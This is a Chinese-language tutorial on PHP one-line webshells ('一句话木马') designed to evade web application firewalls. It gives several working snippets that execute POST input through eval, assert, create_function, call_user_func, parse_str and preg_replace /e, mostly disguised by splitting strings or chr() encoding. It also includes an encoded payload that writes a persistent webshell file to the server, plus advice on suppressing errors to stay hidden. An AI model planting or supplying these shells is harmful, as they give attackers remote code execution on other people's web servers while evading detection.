php过狗一句话:
waf通常以关键字来判断是否是一句话木马。
<?php $test="e#v#a#l";$test1=explode("#",$test);$test2=$test1[0].$test1[1].$test1[2].$test1[3];$test2($_POST['zt']);
?>
这是eval函数的一句话的写法
<?php $test="a#s#s#e#r#t";$test1=explode("#",$test);$test2=$test1[0].$test1[1].$test1[2].$test1[3].$test1[4].$test1[5];$test2($_POST['zt']);
?>
这是assert函数的一句话的写法
<?php
$test =create_function('',$_POST['zt']);
$test();
?>
把用户传的数据生成一个test()函数,然后执行。
<?php
@call_user_func(assert,$_POST['zt']);
?>
call_user_func这个函数可以调用其他函数,
<?php
$test='<?php $z=$_POST['zt']; eval($z); ?>';
file_put_contents("zt.php",$test);
?>
先生成一个zt.php的文件,再把$test的内容放进去;
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
parse_str()会把$str的字符串解析$a=eval的形式,例子:
<?php parse_str("name=Bill&age=60"); echo $name."<br>"; echo $age; ?>
打印结果:
Bill
60
<?php
function fun()
{ return $_POST['zt'];}
@preg_replace("/test/e",fun(),"woshinibaba");
?>
使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行,也就是把fun()当php代码执行。
如果输入一个参数
?zt=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
类似于下面这种过狗方式:
<?php
$a=chr(101);
$b=chr(118);
$c=chr(97);
$d=chr(108);
$e="($_POST['zt']);";
echo ($a.$b.$c.$d.$e);
?>
注意:使用一句话木马的时候可以在函数前加”@”符,这个符号让php语句不显示错误信息,增加隐蔽性。